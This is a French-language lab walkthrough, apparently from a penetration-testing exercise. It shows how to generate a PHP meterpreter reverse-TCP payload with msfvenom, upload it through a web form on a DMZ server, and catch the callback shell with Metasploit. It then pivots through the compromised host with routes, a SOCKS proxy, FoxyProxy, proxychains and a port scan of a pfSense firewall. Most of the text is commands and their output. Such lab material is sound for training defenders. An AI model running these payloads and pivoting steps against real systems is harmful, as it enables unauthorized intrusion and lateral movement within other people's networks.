Pivot 3
Création du cheval de Troie et ouverture du meterpreter
Créer un fichier .php malveillant qui va permettre d’initier une connexion depuis l’intérieur du réseau via INFRA01 et ainsi, contourner la barrière que l’on aurait rencontré si on avait tenter de ce connecter directement depuis l’extérieur. On va donc usurper la confiance des moyens de sécurité en INFRA01 pour s’introduire dans le réseau.
msfvenom est une application qui sert à généré des payloads pour différentes plateformes cibles. Ces payloads peuvent être encodées pour évité d’être détecté par des module de détections d’activités malveillantes.
Le payload qui va être généré dans cette partie est à destination d’un interpréteur PHP. Ce payload contiendra un code php qui aura pour mission de sollicite la machine KALI02 depuis laquelle il sera envoyée. Il faut donc renseigner l’adresse IP et le port de KALI02 pour la construction de payload.
┌──(kali02㉿kali02)-[~]
└─$ msfvenom -p php/meterpreter_reverse_tcp LHOST=172.19.110.164 LPORT=443 >
/tmp/backback.php
Dans la partie navigateur, nous communiquons directement avec INFRA01 (192.168.3.2) grâce au proxy précédemment mis en place. Si aucun proxy n’est actif, il faudra alors se connecter au site web d’INFRA01 de manière conventionnelle.
Ouvrir un navigateur
Entrer dans la barre de recherche l’URL suivant: https://192.168.3.2/test.php (1)
Cliquer sur “Browse…” (2) pour charger le fichier précédemment créé contenant le payload php malveillant:
Se rendre à l’emplacement où le fichier contenant le payload a été sauvegarder, ici il s’agit de /tmp/backback.php (1)
Sélectionner le fichier backback.php (2)
Ouvrir le fichier (3):
Vérifier que le fichier a bien été pris en compte (1)
Envoyer le fichier au site web (2):
Un message confirmant la bonne prise en compte du fichier apparaît:
Ouvrir metasploit:
┌──(kali02㉿kali02)-[~]
└─$ msfconsole
Ouvrir le module qui va permettre de réceptionner la sollicitation émise par INFRA01 grâce à notre payload:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 172.19.110.164
Afficher les options de l’exploit. 3 paramètres sont a renseigner pour que celui-ci fonctionne:
- Payload options: le payload de l’attaque
- LHOST: L’ip sur laquelle la sollicitation va être reçue
- LPORT: Le port sur lequel la sollicitation va être reçue
msf6 exploit(multi/handler) > show options
Afin de changer les valeurs des 3 variables énoncées dans l’étape précédente, il suffit d’entre les commandes (1) (2) et (3)
msf6 exploit(multi/handler) > set PAYLOAD php/meterpreter_reverse_tcp
PAYLOAD => php/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 172.19.110.164
LHOST => 172.19.110.164
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
Enfin, vérifier que les nouvelles valeurs ont bien été prises en compte:
msf6 exploit(multi/handler) > show options
msf6 exploit(multi/handler) > run
Metasploit est donc en attente d’une connexion à l’adresse 172.19.110.164 et sur le port 443.
Il va donc à présent falloir déclencher le payloads sur la machine INFRA01
Entrer dans un navigateur https://192.168.3.2/backback.php (1) pour déclencher l’interprétation du fichier envoyé plus tôt
Presser “Entrer”:
Sur le terminal ou l’exploit a été lancée, un connexion meterpreter avec INFRA01 a été ouverte:
Le meterpreter est à présent ouvert !
Attaque en pivot du pfSense
Nous allons mettre de côté meterpreter, il ne nous sera plus utile en interactif:
meterpreter > background
La command sessions permet de voir quelles sessions sont actuellement en cours:
msf6 exploit(multi/handler) > sessions
On remarque qu’il s’agit bien d’une session meterpreter sur INFRA01 comme spécifié dans (1):
Maintenant que l’ouverture sur INFRA01 a été créée (session 1), il est possible greffer divers exploits sur celle-ci. Il faut pour cela indiquer à metasploit une “route”. Une route metasploit se compose de la manière suivante:
- Subnet: La route a emprunter lorsque on chercher à joindre un ip du réseau renseigné
- Gateway: Pour un subnet donné, quelle est la session qui va géré les requ^tes vers celui-ci
À l’origine, aucun route n’est définie:
msf6 exploit(multi/handler) > route print
[*] There are currently no routes defined.
On ajoute donc la route qui permet de récupérer toutes les requêtes réalisées au sous-réseau 192.168.3.0/24 via le meterpreter laissé en session 1:
msf6 exploit(multi/handler) > route add 192.168.3.0/24 1
[*] Route added
Vérifier la bonne prise en compte de la route:
msf6 exploit(multi/handler) > route print
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
192.168.3.0 255.255.255.0 Session 1
[*] There are currently no IPv6 routes defined.
On passe désormais sur un nouveau module metasploit qui va permettre de créer un proxy metasploit afin que les requêtes puissent être re-routées par metasploit (Cf la route précédemment établie).
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > show options
3 Variables sont obligatoire pour le fonctionnement de ce module:
- SRVHOST: Sur quelle adresse IP le serveur proxy sera joignable
- SRVPORT: Sur quel port le serveur proxy sera joignable
- VERSION: Quel protocol utiliser pour communiquer avec le proxy
Le proxy sera accessible en localhost:
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
SRVHOST => 127.0.0.1
Le proxy sera accessible sur le port 9050:
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
SRVPORT => 9050
Pour la version du protocol utilisé, le choix par défaut est SOCKS5, ce protcol permet la communication en TCP et UDP de manière sécurisée. SOCKS4 (4a) lui ne permet que la communication en TCP.
Conserver le choix par défaut (SOCKS5) pour plus de souplesse.
msf6 auxiliary(server/socks_proxy) > show options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Proxy password for SOCKS5 listener
SRVHOST 127.0.0.1 yes The address to listen on
SRVPORT 9050 yes The port to listen on
USERNAME no Proxy username for SOCKS5 listener
VERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)
Auxiliary action:
Name Description
---- -----------
Proxy Run a SOCKS proxy server
Lancer le module:
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/socks_proxy) >
[*] Starting the SOCKS proxy server
Vérifier que le processus a bien été créé:
┌──(kali02㉿kali02)-[~]
└─$ netstat -tulpn
(Tous les processus ne peuvent être identifiés, les infos sur les processus
non possédés ne seront pas affichées, vous devez être root pour les voir toutes.)
Connexions Internet actives (seulement serveurs)
Proto Recv-Q Send-Q Adresse locale Adresse distante Etat PID/Program name
tcp 0 0 127.0.0.1:9050 0.0.0.0:* LISTEN 2100458/ruby
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1919 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN 1977372/python3
tcp6 0 0 ::1:1919 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
Pour accéder à l’interface pfSense par le pivot que nous avons mis en place, il faut indiquer le proxy créé via metasploit à notre navigateur.
Ouvrir firefox
Cliquer sur le plugin “FoxyProxy” (1)
Cliquer sur “Options” (2) pour créer un nouveau profile:
Cliquer sur “Add” (1):
Entrer un nom (1) pour le nouveau profile, ici “Pivot3”
Sélectionner le protocole “SOCKS5” (2)
Entrer l’ip du proxy (3), ici 127.0.0.1
Entrer le port du proxy (4), ici 9050
Valider la création du profile en cliquant sur “Save” (5):
Vérifier que le profile a correctement été cré (1):
Cliquer sur le plugin FoxyProxy (1)
S’assurer que le profile “Pivot3” est bien actif (2):
Pour la démonstration, nous allons lancer un tcpdump sur la machine pfSense sur laquelle on souhaite se connecté via notre installation réseau. En pratique, nous n’aurions pas accès à cette machine.
La commande qui suit permet d’écouter le traffic réseau sur la machine pfSense sur l’interface réseau DMZ, en direction de lui-même (192.168.3.1) sur le port 443. Autrement dit, journaliser toutes les requêtes effectuées depuis la DMZ pour accéder à l’interface de gestion du pfSense.
: tcpdump -i em2 dst 192.168.3.1 and dst port 443
Sur firefox, entrer https://192.168.3.1 (1) afin d’accéder à l’interface de configuration du pfSense:
On peut constater que la page à correctement été chargée.
On remarque également sur le tcpdump du pfSense que les seules requêtes vues celui-ci proviennent d’INFRA01 (192.168.3.2). Cela confirme bien l’effectivité du pivot.
Bonus: proxychains
Si on souhaite utiliser le proxy nouvellement créé (127.0.0.1:9050), il suffit d’utiliser l’application proxychains en la configurant de la manière suivante:
# proxychains.conf VER 3.1
#
# HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#
# The option below identifies how the ProxyList is treated.
# only one option should be uncommented at time,
# otherwise the last appearing option will be accepted
#
#dynamic_chain
#
# Dynamic - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain
# (dead proxies are skipped)
# otherwise EINTR is returned to the app
#
strict_chain
#
# Strict - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# all proxies must be online to play in chain
# otherwise EINTR is returned to the app
#
#random_chain
#
# Random - Each connection will be done via random proxy
# (or proxy chain, see chain_len) from the list.
# this option is good to test your IDS :)
# Make sense only if random_chain
#chain_len = 2
# Quiet mode (no output from library)
#quiet_mode
# Proxy DNS requests - no leak for DNS data
proxy_dns
# Some timeouts in milliseconds
tcp_read_time_out 15000
tcp_connect_time_out 8000
# ProxyList format
# type host port [user pass]
# (values separated by 'tab' or 'blank')
#
#
# Examples:
#
# socks5 192.168.67.78 1080 lamer secret
# http 192.168.89.3 8080 justu hidden
# socks4 192.168.1.49 1080
# http 192.168.39.93 8080
#
#
# proxy types: http, socks4, socks5
# ( auth types supported: "basic"-http "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 9050
# http 127.0.0.1 8080
On peut alors s’appuyer sur le routage de metasploit et le meterpreter pour envoyer des commandes qui seront exécutées sur INFRA01.
Les résultats du nmap sont disponibles et étudiés ici
Bonus: Scan TCP via metasploit
Changer à nouveau de module metasploit:
msf6 exploit(multi/handler) > use auxiliary/scanner/portscan/tcp
Ici, 3 variables vont nous intéresser:
- PORTS: Les ports qui vont être scannés
- RHOSTS: Les hosts distants
- THREADS: Le nombre de threads utilisés pour le scan (1 par host maximum)
msf6 auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in millisecon
ds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki
/Using-Metasploit
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
Aucun scan complet ne sera effectué dans ce guide, n’étant pas l’objet de l’exercice.
On cible un unique port dans un perspective de démonstration simple:
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 6666
PORTS => 6666
On cible une machine de la DMZ, ici le pfSense:
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.3.1
RHOSTS => 192.168.3.1
Vérifier la bonne prise en compte des valeurs:
msf6 auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in millisecon
ds.
PORTS 6666 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 192.168.3.1 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki
/Using-Metasploit
THREADS 50 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
Afin de démontrer le fonctionnement du scan, lancer un tcpdump sur le pfSense afin de journaliser les requêtes sur le port 6666:
: tcpdump -i em2 dst port 6666
Lancer le module:
msf6 auxiliary(scanner/portscan/tcp) > run
[*] 192.168.3.1: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
On constate que les requêtes reçues par le pfSense proviennent exclusivement d’INFRA01, ce qui démontre le fonctionnement de notre scan via le routage.
